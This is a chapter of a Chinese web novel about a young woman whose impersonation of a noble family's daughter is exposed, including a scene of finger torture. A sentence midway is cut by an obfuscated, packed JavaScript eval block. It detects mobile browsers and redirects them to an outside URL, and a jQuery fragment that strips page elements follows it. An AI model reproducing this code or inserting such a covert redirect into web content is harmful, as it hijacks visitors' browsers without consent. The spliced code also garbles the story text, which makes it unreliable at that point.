42.第 42 章
作品:《妙音》 褚子绍脸色狰狞,即使此刻,褚明珏也没有让人放开他,显然是要他说完了才肯放开。
褚子绍痛苦地哆嗦着道:“世子……就是……当初您的妹妹,那个真妹妹死了,然后褚妙音她、她就冒名顶替了……”
话音刚落,那拶指又猛然收紧了,疼得褚子绍哭爹喊娘,他很想骂褚明珏一顿,可是也不敢,想骂褚妙音,又怕被褚明珏报复。
只能像狗一样乱叫。
褚明珏嫌他吵闹,终于让人松开了他,褚子绍劫后余生,他的十根手指都已经不成样子了。
褚子绍抱着自己的手指痛哭。
下人们都屏气凝神,不敢发出声音。
褚明珏在原地站了很久,久到褚子绍终于从那股痛意中缓过来一点,他只想着把自己摘出来,谄媚地道:“世子爷……这件事情都是褚妙音那个贱……那女人自己鬼迷心窍干的,不关我的事啊!”
“世子爷,您大人有大量,饶了我吧……”
褚明珏冷笑一声,命人将褚子绍带了下去,先关在了侯府的柴房内。
她不是自己的妹妹。
不是。
原来她一直在骗他。
褚明珏心中思绪万千,眼睛亮得惊人,五味杂陈。
连他自己也说不清,得知这个消息的此刻,究竟是该对褚妙音恨之入骨,还是……连他自己也不愿意承认的,不可自制地窃喜着……
褚妙音选完了婚服,只觉大功告成,只差几日功夫,她便能离开侯府了。
这一出戏到底是唱到了尽头,虽则褚明珏一直对江琢百般挑剔,可他不知道,对褚妙音而言,能够做官家夫人已是难得的归宿。
她对江琢谈不上喜欢或者不喜欢,只是她觉得,今后的人生,选一个更为深爱她的,能够对她百依百顺的夫婿过活才是最要紧的。
以江琢对她的情意,即便真的知道了她的身世,想必也会大方地原谅她的。
到了那时,她再不必委屈自己苦心讨好褚明珏了。
临出嫁前,褚妙音去了侯府正堂。
前日褚夫人派了人来告知她,要她在成婚前学一学规矩礼数,自然是与房事相关的。
此刻褚妙音往正堂去,可厅堂内静默肃穆得令人心慌,褚夫人高坐上首,手里也没有端茶,见了她来,神情也是古怪得很。
众人的眼神都落在她身上,虽然称不上十足仇视,可未免反常得过分了。
地上还跪着一个仆妇,背对着褚妙音,她不认得此人,只以为是什么犯了错的婆子。
可就连褚夫人身边的梁云韶,也一样神情复杂,又带着一分怜悯悲切地望着她。
而褚明珏面无表情,褚元佑也回了府,心绪复杂地别开眼。
究竟出了什么事?
褚妙音忽然有点心慌,可都已经捱过前面那些风浪了,她绝不会轻易在这里栽跟头。
褚妙音面上仍是从容不迫地开口:“问母亲安。”
厅堂中气氛一片凝滞,无人吭声,褚妙音被晾了半晌,也不气馁,仍问褚夫人:“母亲……这是何意?妙音是做了什么错事吗……?”
半晌过去,褚夫人终于开口:“你可认得此人?”
褚妙音循着褚夫人所指的方向看去,那个她以为的犯了错的仆妇转过身来看她,赫然是徐氏的脸。
心蓦然沉了下去。
徐氏为何会在此?
除了她的身世以外,徐氏恐怕不会和侯府扯上任何关系。
而徐氏此刻出现在这里,众人的态度又是如此微妙,褚妙音不由得想,他们已经彻底知道真相了吗?
为何偏偏是现在,她离黎明的曙光只差一点点了……
徐氏红着眼睛,眼珠里爬上血丝,她已经在堂下跪了许久了。
自从她发现褚子绍偷跑出去之后,便在家中惴惴不安,直到侯府来了人,强行将她请来了这里。
她便猜到,定然是绍儿又闹出来了什么事。
可她没有想到,候夫人问她的第一句话却是,侯府真正的庶女身在何处?
她顿时就吓得说不出来话了,昔日在村里,她尚且可以作威作福,对褚妙音肆意打骂。
可如今到了真正的贵人面前,对上侯夫人不怒自威的神情,她满腹的辩解顿时都说不出口了,只在下首战战兢兢地哆嗦着。
她嗫嚅着不敢开口,熟料旁边的褚明珏便道:“你不必再替她遮掩,莫要忘了,与其再苦心撒谎不如此刻坦白,也许你还能见到你的儿子。”
言语之中的威胁意味,不言而喻。
徐氏掂量了半晌,她自知如今是瞒不住了,只好将一切真相和盘托出,只是言辞之间,竭力将一切罪责都推到褚妙音身上。
世子爷倒是很平静,听完了也没什么反应。
反倒是他旁边那个年纪稍小些的公子,闻言如听噩耗,嘴里反复念叨着这不可能……这不可能……
褚夫人也长叹了一口气:“家门不幸……竟然被这样的小姑娘给混了过去……真是给侯府蒙羞!”
叹惋过后,褚夫人却又犯了难:“她的身世且不论,可与江家的婚事到底是定下了……如今将此事捅了出去,侯府的颜面真是要丢尽了……”
照她的意思,她宁可死死捂住这桩丑事,也不能透露半点风声到外头去。
思来想去,褚夫人只窥了窥大儿子的脸色,道:“不如,就……将错就错?”
毕竟褚妙音再多不是,她如今都已然接受了府里有这样一个闹腾的庶女。
要真论起来,她对原先那个真正的庶女,本也不如何在意。
如今木已成舟,与其再去追究褚妙音的过错,闹得众人脸面上都不好看,侯府更是无光,倒不如息事宁人,当作什么也没有发生过。
褚夫人如今年岁大了,性情也更加中庸,她是不愿将此事闹大的,只是如今侯府里真正主事的,还是褚明珏。
所以她便是要看看褚明珏的意见,褚明珏却态度坚决:“母亲,二妹妹……”
说完又发觉自己喊错了,可到底已经喊成
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17320177|197676||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了习惯,不好改口。
褚明珏到底是顺畅地说了下去:“二妹妹本就不是侯府血脉,这桩婚事从一开始便是孽缘,侯府不该如此欺瞒真相,至少也该告知江大人,让他重新定夺。”
梁云韶忍不住想,他真的是为了问心无愧吗?
还是为了借这个由头,毁掉这桩婚事。
梁云韶忽然觉得,自己一直以来都看错了褚明珏,他竟然不惜如此毁掉褚妙音辛苦求得的婚事。
她知道褚妙音有多想离开侯府。
如今却只怕是……竹篮打水一场空。
事已至此,徐氏如今只想保住褚子绍,她只好先发制人地开口,声音带着痛惜:“阿音,此事终究是你一时糊涂,才会酿成如今这副惨状……你不如就同候夫人认错吧?啊?此事和绍儿他毫无干系……阿音,看在我养育你成人的份上,你替我保住绍儿的性命……”
褚妙音忽然觉得很荒唐可笑,她苦心经营这么久,到底还是被褚子绍这个蠢物彻底给毁了。
一想到她花了这么多的功夫,只为了对付像徐氏和褚子绍这样腌臜的东西,她就觉得毫无价值。
连带着厌恶眼前的一切,毫无由来地迁怒褚明珏。
如今情形,看来他们已经完全知道了真相,她再否认也毫无意义,与其苦苦求饶,不如索性与褚夫人谈条件。
她知道褚夫人是最标准的高门主母,家族的颜面大于一切,只要褚夫人还顾忌着这些,就不会真的对她怎么样。
思及此,褚妙音从容淡定地开口:“母亲,她说的不错……我的确是顶替了褚兰衣的身份。”
褚明珏闻言,幽深的眼神看向她。
到了这种时刻,她也依旧是有恃无恐的模样,好像做错事的,反而是旁人。
褚妙音道:“可我并非有意为之,当初褚子绍将您真正的庶女推下了悬崖,那关头侯府便来接人了,那时候继母便迫我扮演褚兰衣……倘若我不肯,她便要把我许给村里正的傻子儿子……”
再抬起眼时,褚妙音的眼里已经含了泪珠:“母亲……您也该知道,倘若我不听继母的话行事,身为一个女子,我的一辈子便会毁了……”
她说得情真意切,连褚夫人都不免动了一分恻隐之心。可此事终究还是要看褚明珏的意思,她扶着额道:“珏儿,不若便……算了?”
徐氏看她们一唱一和心中焦急万分,只想问出褚子绍的下落,可此刻显然不是开口的好时机。
褚明珏看向褚妙音:“你还有什么想说的吗?”
褚妙音攥紧了手指,对上褚明珏时,便难免有些紧张,自她入侯府以来,便总是畏惧有一日东窗事发,如今真的被揭破了身世,她竟有些难言的情绪。
她垂眼道:“兄长……此事是我不对……”
她想着同褚明珏商量,事到临头,她唯一想要抓住的,就是与江琢的婚事。
如今即便身份被戳破了又如何?
只要她嫁出去,她从此便是江家妻,不必在意侯府众人对她的看法。

